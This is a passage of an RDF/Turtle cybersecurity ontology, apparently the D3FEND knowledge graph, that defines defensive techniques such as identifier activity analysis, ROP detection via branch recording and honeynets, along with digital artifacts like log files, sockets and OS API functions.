    d3f:definition "Threat actors may initially compromise the ground system in order to access the target spacecraft. Once compromised, the threat actor can perform a multitude of initial access techniques, including replay, compromising FSW deployment, compromising encryption keys, and compromising authentication schemes. Threat actors may also perform further reconnaissance within the system to enumerate mission networks and gather information related to ground station logical topology, missions ran out of said ground station, birds that are in-band of targeted ground stations, and other mission system capabilities." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/IA-0007/> ;
    rdfs:subClassOf d3f:SPARTAInitialAccessTechnique ;
    skos:prefLabel "Compromise Ground System" .

d3f:IdentifierActivityAnalysis a d3f:IdentifierActivityAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Identifier Activity Analysis" ;
    d3f:analyzes d3f:Identifier ;
    d3f:d3fend-id "D3-IAA" ;
    d3f:definition "Taking known malicious identifiers and determining if they are present in a system." ;
    d3f:kb-article """## How it works

Identifier activity analysis is the process of taking identifiers--typically known malicious identifiers--and determining the artifacts that have interacted with those identifiers.

There are many open and closed source repositories of identifiers that represent indicators of compromise. For example, VirusTotal contains hash signatures of malware and IP Addresses used by threat actors. Defenders can search for these indicators of compromise their own systems to gain context on activity around an identifier.

## Considerations

Indicator activity analysis is a good way to gain high precision analysis, but adversaries can modify their own signatures such as hashes quickly to evade detection. This is related to David Bianco’s Pyramid of Pain - Indicators on the lower level (hash values, IP addresses domain names) are easy for adversaries to change.

Identifier activity data of interest for analysis with the identifier might include, but is not limited to:

* network traffic activity where the identifier was used to identify communicating entities or referred to in the communication
* process activity referencing the identifier, especially for resource access
* file activity referencing the identifier
* registry settings referencing the identifier""" ;
    d3f:kb-reference d3f:Reference-ThePyramidOfPain-DavidBianco ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:Identifier ],
        d3f:IdentifierAnalysis .

d3f:Image-to-ImageTranslationGAN a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Image-to-Image Translation GAN" ;
    d3f:d3fend-id "D3A-ITITG" ;
    d3f:definition "Image-to-image translation is the task of transferring styles and characteristics from one image domain to another." ;
    d3f:kb-article """## References
MathWorks. (n.d.). Get Started with GANs for Image-to-Image Translation. [Link](https://www.mathworks.com/help/images/get-started-with-gans-for-image-to-image-translation.html)""" ;
    rdfs:subClassOf d3f:GenerativeAdversarialNetwork .

d3f:ImageScannerInputDevice a owl:Class ;
    rdfs:label "Image Scanner Input Device" ;
    d3f:definition "An image scanner -- often abbreviated to just scanner, is a device that optically scans images, printed text, handwriting or an object and converts it to a digital image. Commonly used in offices are variations of the desktop flatbed scanner where the document is placed on a glass window for scanning. Hand-held scanners, where the device is moved by hand, have evolved from text scanning \"wands\" to 3D scanners used for industrial design, reverse engineering, test and measurement, orthotics, gaming and other applications. Mechanically driven scanners that move the document are typically used for large-format documents, where a flatbed design would be impractical." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Image_scanner> ;
    rdfs:subClassOf d3f:VideoInputDevice ;
    skos:altLabel "Scanner" .

d3f:ImageSegment a owl:Class ;
    rdfs:label "Image Segment" ;
    d3f:definition "Image segments are distinct partitions of an object file.  Both data and code segments are examples of image segments." ;
    rdfs:seeAlso d3f:ObjectFile,
        <http://dbpedia.org/resource/Object_file> ;
    rdfs:subClassOf d3f:BinarySegment,
        d3f:FileSection .

d3f:InboundInternetDNSResponseTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Inbound Internet DNS Response Traffic" ;
    d3f:definition "Inbound internet DNS response traffic is DNS response traffic from a host outside a given network initiated on an incoming connection to a host inside that network." ;
    rdfs:subClassOf d3f:InboundInternetNetworkTraffic .

d3f:IndirectBranchCallAnalysis a d3f:IndirectBranchCallAnalysis,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Indirect Branch Call Analysis" ;
    d3f:d3fend-id "D3-IBCA" ;
    d3f:definition "Analyzing vendor specific branch call recording in order to detect ROP style attacks." ;
    d3f:kb-article """## How it works

This technique is used to detect an attacker attempting to exploit and execute code on a target system's call stack using return-oriented programming (ROP). Modern processors that have the ability to maintain a list of the branching calls, e.g., Intel's Last Branch Recording (LBR), can be used to track and analyze indirect branching calls that are indicative of malicious activity.

In order to reduce the number of indirect branch calls to analyze to a manageable set it is assumed that malicious ROP activity will involve the use of system calls.  The technique observes indirect branch calls that are part of paths that lead to system calls, all others are ignored. Branching calls chained together is often referred to as gadgets and gadgets are often used in ROP attacks. Indirect branch calls that involve a transfer from user-space to kernel-space are of interest for this technique.

Identification of potential ROP exploit execution includes:

- Inspecting the LBR when a system function call is made

  - The LBR is configured to return only instruction of interest (ret, indirect jmp, indirect calls)


- Behavior is analyzed for
  - Ret instructions that appear to target areas not preceded by the call sites
  - Sequences of small code fragments that appear to be chained through the indirect branching calls (gadgets)


- Of interest are returns that appear to not render control back after calls
  - Typical ret-call are paired
  - gadgets will appear to have ret followed by instruction of next instruction of the following gadget


## Considerations

* May be operating system dependent since specific system calls are used to scope branching behavoir
* Processors need to support access to a Last Branch Recording list feature
* The size of the LBR stack can limit the expected size of the analyzed execution stack
* If processor does not support LBR then overhead costs for the analysis can be significant""" ;
    d3f:kb-reference d3f:Reference-IndirectBranchingCalls ;
    rdfs:subClassOf d3f:ProcessAnalysis .

d3f:InferentialStatistics a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Inferential Statistics" ;
    d3f:d3fend-id "D3A-IS" ;
    d3f:definition "Statistical inference is the process of using data analysis to infer properties of an underlying distribution of probability." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Statistical inference. [Link](https://en.wikipedia.org/wiki/Statistical_inference)""" ;
    rdfs:subClassOf d3f:StatisticalMethod .

d3f:InitScript a owl:Class ;
    rdfs:label "Init Script" ;
    d3f:definition "An init script (or initialization script) is an executable script that initializes the an application, a process, or a service's state.  Examples include scripts run at boot by Unix or Windows, or those run to initialize a shell." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Init>,
        <https://blog.opstree.com/2020/02/11/shell-initialization-files/> ;
    rdfs:subClassOf d3f:ExecutableScript ;
    skos:altLabel "Initialization Script" .

d3f:IntegratedHoneynet a d3f:IntegratedHoneynet,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Integrated Honeynet" ;
    d3f:d3fend-id "D3-IHN" ;
    d3f:definition "The practice of setting decoys in a production environment to entice interaction from attackers." ;
    d3f:kb-article """## How it works
Integrated honeynets use full production environments connected to the enterprise network, that utilize computing resources or software that attract attackers, and allow full interaction and access that provides a complete view of an attack.

## Considerations
An attacker with control of a system on an Integrated Honeynet could:
* try to attack other connected hosts on the network, its IP range of internal hosts not properly configured to react to connections from machines on the integrated honeynet, or position behind the firewall.
* exploit its position by eavesdropping on network traffic
If an attacker manages to stop the processes used to log an attack without setting off any alarms. [1]

1. Honeypots for Windows, Roger Grimes, 2005""" ;
    d3f:kb-reference d3f:Reference-SynchronizingAHoneyNetworkConfigurationToReflectATargetNetworkEnvironment_PaloAltoNetworksInc ;
    d3f:spoofs d3f:IntranetNetwork ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:spoofs ;
            owl:someValuesFrom d3f:IntranetNetwork ],
        d3f:DecoyEnvironment .

d3f:InterprocessCommunication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Interprocess Communication" ;
    d3f:definition "In computer science, inter-process communication or inter-process communication (IPC) refers specifically to the mechanisms an operating system provides to allow processes it manages to share data. Typically, applications can use IPC categorized as clients and servers, where the client requests data and the server responds to client requests. Many applications are both clients and servers, as commonly seen in distributed computing. Methods for achieving IPC are divided into categories which vary based on software requirements, such as performance and modularity requirements, and system circumstances, such as network bandwidth and latency." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Inter-process_communication> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:IntranetFileTransferTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Intranet File Transfer Traffic" ;
    d3f:definition "Intranet file transfer traffic is file transfer traffic that does not cross a given network's boundaries and uses a standard file transfer protocol." ;
    rdfs:seeAlso <http://dbpedia.org/resource/File_transfer>,
        <http://dbpedia.org/resource/Intranet> ;
    rdfs:subClassOf d3f:FileTransferNetworkTraffic,
        d3f:IntranetNetworkTraffic .

d3f:IntranetMulticastNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Intranet Multicast Network Traffic" ;
    d3f:definition "Intranet IPC network traffic is multicast network traffic that does not cross a given network's boundaries." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Multicast> ;
    rdfs:subClassOf d3f:IntranetNetworkTraffic .

d3f:IntranetWebNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Intranet Web Network Traffic" ;
    d3f:definition "Intranet web network traffic is network traffic that does not cross a given network's boundaries and uses a standard web protocol." ;
    d3f:may-contain d3f:File ;
    rdfs:seeAlso <http://dbpedia.org/resource/Intranet> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:File ],
        d3f:IntranetNetworkTraffic,
        d3f:WebNetworkTraffic .

d3f:JavaScriptBlob a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "JavaScript Blob" ;
    d3f:definition "A JavaScript Blob is a Blob that was created by a JavaScript Blob() constructor call or equivalent function." ;
    rdfs:subClassOf d3f:BinaryLargeObject .

d3f:KernelEvent a owl:Class ;
    rdfs:label "Kernel Event" ;
    d3f:definition "An event involving operations at the kernel level of an operating system, encompassing interactions with core system resources such as drivers, modules, system calls, and other privileged processes. Kernel events are critical for understanding low-level system behavior and ensuring the integrity of the operating environment." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/kernel_activity> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:Kernel ],
        d3f:DigitalEvent .

d3f:KernelModuleEvent a owl:Class ;
    rdfs:label "Kernel Module Event" ;
    d3f:definition "An event involving the management of kernel modules, such as the loading or unloading of device drivers, extensions, or other dynamically linked components essential for kernel functionality." ;
    rdfs:seeAlso <https://schema.ocsf.io/1.3.0/classes/kernel_extension> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:KernelModule ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:HardwareDriver ],
        d3f:KernelEvent .

d3f:KeyboardInputDevice a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Keyboard Input Device" ;
    d3f:definition "A computer keyboard is a typewriter-style device which uses an arrangement of buttons or keys to act as mechanical levers or electronic switches. Following the decline of punch cards and paper tape, interaction via teleprinter-style keyboards became the main input method for computers. A keyboard is also used to give commands to the operating system of a computer, such as Windows' Control-Alt-Delete combination. Although on Pre-Windows 95 Microsoft operating systems this forced a re-boot, now it brings up a system security options screen." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Computer_keyboard> ;
    rdfs:subClassOf d3f:InputDevice ;
    skos:altLabel "Computer Keyboard",
        "Keyboard" .

d3f:LANAccessMediation a d3f:LANAccessMediation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "LAN Access Mediation" ;
    d3f:d3fend-id "D3-LAMED" ;
    d3f:definition "LAN access mediation encompasses the application of strict access control policies, systematic verification of devices, and authentication mechanisms to govern connectivity to a Local Area Network." ;
    d3f:isolates d3f:LocalAreaNetwork ;
    d3f:kb-article """## How it works

LAN Access Mediation is a network security approach that manages and controls access to a Local Area Network by using key components such as Access Control Lists (ACLs) to specify which devices are allowed or denied access, Port Security to restrict device connections to specific switch ports, RADIUS for determining the level of access or specific resources available to users or devices, and 802.1X for enforcing device authentication before granting network access. This comprehensive strategy ensures that only authorized devices and users can connect to the network, enhancing overall security.""" ;
    d3f:kb-reference d3f:Reference-WhatIsNetworkAccessControl ;
    rdfs:comment "Layer 2 Enforcement" ;
    rdfs:seeAlso <https://dodcio.defense.gov/Portals/0/Documents/Library/(U)ZT_RA_v2.0(U)_Sep22.pdf> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:isolates ;
            owl:someValuesFrom d3f:LocalAreaNetwork ],
        d3f:NetworkAccessMediation .

d3f:LegacySystem a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Legacy System" ;
    d3f:definition "In computing, a legacy system is an old method, technology, computer system, or application program, \"of, relating to, or being a previous or outdated computer system,\" yet still in use. Often referencing a system as \"legacy\" means that it paved the way for the standards that would follow it. This can also imply that the system is out of date or in need of replacement." ;
    d3f:synonym "Legacy Digital System" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Legacy_system> ;
    rdfs:subClassOf d3f:DigitalSystem .

d3f:Link a owl:Class ;
    rdfs:label "Link" ;
    d3f:definition "A link is a connection or association between two entities that facilitates communication, interaction, or data transfer." ;
    rdfs:seeAlso <https://dbpedia.org/resource/Link> ;
    rdfs:subClassOf d3f:D3FENDCore,
        d3f:DigitalInformationBearer .

d3f:LoadModule a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Load Module" ;
    d3f:definition "A system call that loads a driver or extension into the kernel." ;
    d3f:loads d3f:HardwareDriver,
        d3f:KernelModule ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:loads ;
            owl:someValuesFrom d3f:KernelModule ],
        [ a owl:Restriction ;
            owl:onProperty d3f:loads ;
            owl:someValuesFrom d3f:HardwareDriver ],
        d3f:SystemCall .

d3f:LocalAreaNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Area Network Traffic" ;
    d3f:definition "Intranet local area network (LAN) traffic is network traffic that does not cross a given network's boundaries; where that network is defined as a LAN." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Intranet> ;
    rdfs:subClassOf d3f:IntranetNetworkTraffic .

d3f:LocalAttacker a owl:Class ;
    rdfs:label "Local Attacker" ;
    d3f:definition "An attacker who is physically near or on the premises of the target network or systems." ;
    rdfs:subClassOf d3f:Attacker .

d3f:LocalResourceAccess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Local Resource Access" ;
    d3f:accesses d3f:LocalResource ;
    d3f:definition "Ephemeral digital artifact comprising a request of a local resource and any response from that resource." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:accesses ;
            owl:someValuesFrom d3f:LocalResource ],
        d3f:ResourceAccess ;
    skos:altLabel "Endpoint Resource Access" .

d3f:LogFile a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Log File" ;
    d3f:contains d3f:Log ;
    d3f:definition """A log file is a file that records either events that occur in an operating system or other software runs, or messages between different users of a communication software. Logging is the act of keeping a log. In the simplest case, messages are written to a single log file.

A transaction log is a file (i.e., log) of the communications between a system and the users of that system, or a data collection method that automatically captures the type, content, or time of transactions made by a person from a terminal with that system. For Web searching, a transaction log is an electronic record of interactions that have occurred during a searching episode between a Web search engine and users searching for information on that Web search engine.

Many operating systems, software frameworks and programs include a logging system. A widely used logging standard is syslog, defined in Internet Engineering Task Force (IETF) RFC 5424). The syslog standard enables a dedicated, standardized subsystem to generate, filter, record, and analyze log messages. This relieves software developers of having to design and code their own ad hoc logging systems.""" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Log_file> ;
    rdfs:seeAlso <http://wordnet-rdf.princeton.edu/id/06515875-n> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Log ],
        d3f:File .

d3f:MacOSKeychain a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "MacOS Keychain" ;
    d3f:definition "Keychain is the password management system in macOS, developed by Apple. It was introduced with Mac OS 8.6, and has been included in all subsequent versions of the operating system, now known as macOS. A Keychain can contain various types of data: passwords (for websites, FTP servers, SSH accounts, network shares, wireless networks, groupware applications, encrypted disk images), private keys, certificates, and secure notes." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Keychain_(software)> ;
    rdfs:subClassOf d3f:PasswordStore ;
    skos:altLabel "Keychain" .

d3f:MailNetworkTraffic a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Mail Network Traffic" ;
    d3f:contains d3f:Email ;
    d3f:definition "Mail traffic is network traffic that uses a standard mail transfer protocol." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:Email ],
        d3f:NetworkTraffic .

d3f:MemoryBoundaryTracking a d3f:MemoryBoundaryTracking,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Memory Boundary Tracking" ;
    d3f:analyzes d3f:ProcessCodeSegment ;
    d3f:d3fend-id "D3-MBT" ;
    d3f:definition "Analyzing a call stack for return addresses which point to unexpected  memory locations." ;
    d3f:kb-article """## How it works
This technique monitors for indicators of whether a return address is outside memory previously allocated for an object (i.e. function, module, process, or thread). If so, code that the return address points to is treated as malicious code.

## Considerations
Kernel malware can manipulate memory contents, for example modifying pointers to hide processes, and thereby impact the accuracy of memory allocation information used to perform the analysis.""" ;
    d3f:kb-reference d3f:Reference-InferentialExploitAttemptDetection_CrowdstrikeInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:ProcessCodeSegment ],
        d3f:OperatingSystemMonitoring .

d3f:MemoryManagementUnit a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Memory Management Unit" ;
    d3f:contains d3f:TranslationLookasideBuffer ;
    d3f:creates d3f:VirtualAddress ;
    d3f:definition "A computer’s memory management unit (MMU) is the physical hardware that handles its virtual memory and caching operations. The MMU is usually located within the computer’s central processing unit (CPU), but sometimes operates in a separate integrated chip (IC)." ;
    d3f:manages d3f:PageTable,
        d3f:Storage ;
    rdfs:isDefinedBy <https://www.techopedia.com/definition/4768/memory-management-unit-mmu> ;
    rdfs:seeAlso <https://dbpedia.org/page/Memory_management_unit> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:TranslationLookasideBuffer ],
        [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:PageTable ],
        [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:Storage ],
        [ a owl:Restriction ;
            owl:onProperty d3f:creates ;
            owl:someValuesFrom d3f:VirtualAddress ],
        d3f:ProcessorComponent .

d3f:MemoryProtectionUnit a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Memory Protection Unit" ;
    d3f:definition "A Memory Protection Unit (MPU) is a processor component that enforces access control policies on memory regions to ensure the integrity, security, and proper operation of a computing system." ;
    d3f:synonym "MPU" ;
    rdfs:subClassOf d3f:ProcessorComponent .

d3f:MessageEncryption a d3f:MessageEncryption,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Message Encryption" ;
    d3f:d3fend-id "D3-MENCR" ;
    d3f:definition "Encrypting a message body using a cryptographic key." ;
    d3f:encrypts d3f:UserToUserMessage ;
    d3f:kb-article """## How it works

### Asymmetric Cryptography
Asymmetric encryption is typically accomplished using public and private key certificates based on the X.509 standard. The sender encrypts messages using the recipient's public key and the receipt decrypts the message using their private key. Standards that can be used to implement message encryption include S/MIME (Secure/Multipurpose Internet Mail Extensions) and PGP.
### Symmetric Cryptography
Symmetric encryption uses the same cryptographic key by both the sender and receiver to encrypt and decrypt a message. Asymmetric key exchange protocols such as Diffie-Hellman can be used to share the cryptographic key with the recipient.

## Considerations
- Separate configuration settings to enable message encryption are often needed for each messenger client (e.g. webmail, desktop client, mobile).
- Continuous monitoring to ensure private keys are not compromised and the certificate authority (CA) is trusted.
- Secure transfer of private keys between multiple devices.""" ;
    d3f:kb-reference d3f:Reference-SecureMultipurposeInternetMailExtensionsMIME-Version3.1 ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:encrypts ;
            owl:someValuesFrom d3f:UserToUserMessage ],
        d3f:MessageHardening .

d3f:Metadata a owl:Class ;
    rdfs:label "Metadata" ;
    d3f:definition "Metadata is information which describes aspects of other information." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Metadata> ;
    rdfs:seeAlso <https://schema.ocsf.io/objects/metadata> ;
    rdfs:subClassOf d3f:DigitalInformation .

d3f:MicrosoftHTMLApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Microsoft HTML Application" ;
    d3f:definition "An HTML Application (HTA) is a Microsoft Windows program whose source code consists of HTML, Dynamic HTML, and one or more scripting languages supported by Internet Explorer, such as VBScript or JScript." ;
    d3f:may-contain d3f:ExecutableScript ;
    d3f:synonym "HTA" ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/HTML_Application> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-contain ;
            owl:someValuesFrom d3f:ExecutableScript ],
        d3f:HTMLFile .

d3f:MultivariateAnalysis a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Multivariate Analysis" ;
    d3f:d3fend-id "D3A-MA" ;
    d3f:definition "Multivariate statistics encompassed the simultaneous observation and analysis of more than one outcome variable, i.e., multivariate random variables." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Multivariate statistics. [Link](https://en.wikipedia.org/wiki/Multivariate_statistics)""" ;
    rdfs:subClassOf d3f:StatisticalMethod .

d3f:NetworkCardFirmware a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Card Firmware" ;
    d3f:definition "Firmware that is installed on a network card (network interface controller)." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Network_interface_controller> ;
    rdfs:subClassOf d3f:PeripheralFirmware ;
    skos:altLabel "Network Controller Firmware" .

d3f:NetworkFileResource a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network File Resource" ;
    d3f:contains d3f:File ;
    d3f:definition "A computer file resource made available from one host to other hosts on a computer network." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:File ],
        d3f:NetworkFileShareResource .

d3f:NetworkFlow a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Flow" ;
    d3f:definition "A summarization of network transactions between a client and server. It often summarizes bytes sent, bytes received, and protocol flags." ;
    d3f:summarizes d3f:NetworkTraffic ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:summarizes ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:DigitalInformation .

d3f:NetworkInitScriptFileResource a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Init Script File Resource" ;
    d3f:definition "A computer file resource made available from one host to other hosts on a computer network that is also an initialization script." ;
    rdfs:subClassOf d3f:InitScript,
        d3f:NetworkFileResource .

d3f:NetworkInterfaceCard a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Interface Card" ;
    d3f:contains d3f:NetworkCardFirmware ;
    d3f:definition "A network interface card (NIC, also known as a network interface controller, network adapter, LAN adapter or physical network interface, and by similar terms) is a computer hardware component that connects a computer to a computer network." ;
    d3f:synonym "Network Interface Controller" ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Network_interface_controller> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:NetworkCardFirmware ],
        d3f:HardwareDevice .

d3f:NetworkSensor a owl:Class ;
    rdfs:label "Network Sensor" ;
    d3f:definition "A Network Sensor monitors network traffic and communication patterns." ;
    rdfs:subClassOf d3f:CyberSensor .

d3f:NetworkTrafficCommunityDeviation a d3f:NetworkTrafficCommunityDeviation,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Traffic Community Deviation" ;
    d3f:analyzes d3f:NetworkTraffic ;
    d3f:d3fend-id "D3-NTCD" ;
    d3f:definition "Establishing baseline communities of network hosts and identifying statistically divergent inter-community communication." ;
    d3f:kb-article """## How it works
Hosts/users within a computer network are analyzed to identify communities of hosts which frequently communicate. Future communications between communities that don't usually communicate can then be detected.  For example, if a community of hosts that communicate in support of a company's finance division suddenly starts to access the code server usually accessed only by engineers, this may indicate unauthorized activity.

## Considerations
* Potential for false positives in very dynamic network environments.
* Attackers that move low and slow may not differentiate their behavior enough to trigger an alert.""" ;
    d3f:kb-reference d3f:Reference-SystemForImplementingThreatDetectionUsingDailyNetworkTrafficCommunityOutliers_VECTRANETWORKSInc ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:analyzes ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        d3f:NetworkTrafficAnalysis .

d3f:NetworkTrafficPolicyMapping a d3f:NetworkTrafficPolicyMapping,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Network Traffic Policy Mapping" ;
    d3f:d3fend-id "D3-NTPM" ;
    d3f:definition "Network traffic policy mapping identifies and models the allowed pathways of data at the network, transport, and/or application levels." ;
    d3f:kb-reference d3f:Reference-CiscoASR9000AccessListCommands ;
    d3f:maps d3f:AccessControlConfiguration ;
    d3f:queries d3f:NetworkAgent ;
    d3f:synonym "DLP Policy Mapping",
        "Firewall Mapping",
        "IPS Policy Mapping",
        "Web Security Gateway Policy Mapping" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:maps ;
            owl:someValuesFrom d3f:AccessControlConfiguration ],
        [ a owl:Restriction ;
            owl:onProperty d3f:queries ;
            owl:someValuesFrom d3f:NetworkAgent ],
        d3f:NetworkMapping .

d3f:NumericPatternMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Numeric Pattern Matching" ;
    d3f:d3fend-id "D3A-NPM" ;
    d3f:definition "Numeric pattern matching uses a pattern specification and sees if the numeric value matches that pattern--simple forms include exact matching and range matching." ;
    rdfs:subClassOf d3f:PatternMatching .

d3f:OSAPIConnectSocket a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Connect Socket" ;
    d3f:definition "An OS API function that establishes a connection between a socket and a endpooint." ;
    d3f:invokes d3f:ConnectSocket ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:ConnectSocket ],
        d3f:OSAPISystemFunction .

d3f:OSAPICopyToken a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Copy Token" ;
    d3f:definition "An OS API function that creates a duplicate or copy of an existing security token." ;
    d3f:invokes d3f:CopyToken ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CopyToken ],
        d3f:OSAPISystemFunction .

d3f:OSAPICreateSocket a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Create Socket" ;
    d3f:definition "An OS API function that creates a socket." ;
    d3f:invokes d3f:CreateSocket ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:CreateSocket ],
        d3f:OSAPISystemFunction .

d3f:OSAPIExec a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Exec" ;
    d3f:definition "An OS API function that replaces the current process image with a new processs image, executing a specified program." ;
    d3f:invokes d3f:Exec ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:Exec ],
        d3f:OSAPISystemFunction .

d3f:OSAPIGetThreadContext a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Get Thread Context" ;
    d3f:definition "An OS API function that retrieves the execution context or state of a specific thread in a process." ;
    d3f:invokes d3f:GetThreadContext ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:GetThreadContext ],
        d3f:OSAPISystemFunction .

d3f:OSAPIResumeProcess a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Resume Process" ;
    d3f:definition "An OS API function that resumes the execution of a paused, stopped, or suspended process." ;
    d3f:invokes d3f:ResumeProcess ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:ResumeProcess ],
        d3f:OSAPISystemFunction .

d3f:OSAPIResumeThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Resume Thread" ;
    d3f:definition "An OS API function that resumes the execution of a paused, stopped, or suspended thread." ;
    d3f:invokes d3f:ResumeThread ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:ResumeThread ],
        d3f:OSAPISystemFunction .

d3f:OSAPISetThreadContext a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Set Thread Context" ;
    d3f:definition "An OS API function that modifies the execution context of a thread." ;
    d3f:invokes d3f:SetThreadContext ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:SetThreadContext ],
        d3f:OSAPISystemFunction .

d3f:OSAPITraceThread a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "OS API Trace Thread" ;
    d3f:definition "An OS API function that enables a program to monitor, control, or interact with the execution of a thread." ;
    d3f:invokes d3f:TraceThread ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:invokes ;
            owl:someValuesFrom d3f:TraceThread ],
        d3f:OSAPISystemFunction .

d3f:OTConnectionCommandEvent a owl:Class ;
    rdfs:label "OT Connection Command Event" ;
    d3f:definition "Establish a network connection with a device." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:NetworkTraffic ],
        [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:OTConnectionCommand ],
        d3f:OTNetworkManagementCommandEvent .

d3f:OTDeviceConfigurationCommandEvent a owl:Class ;
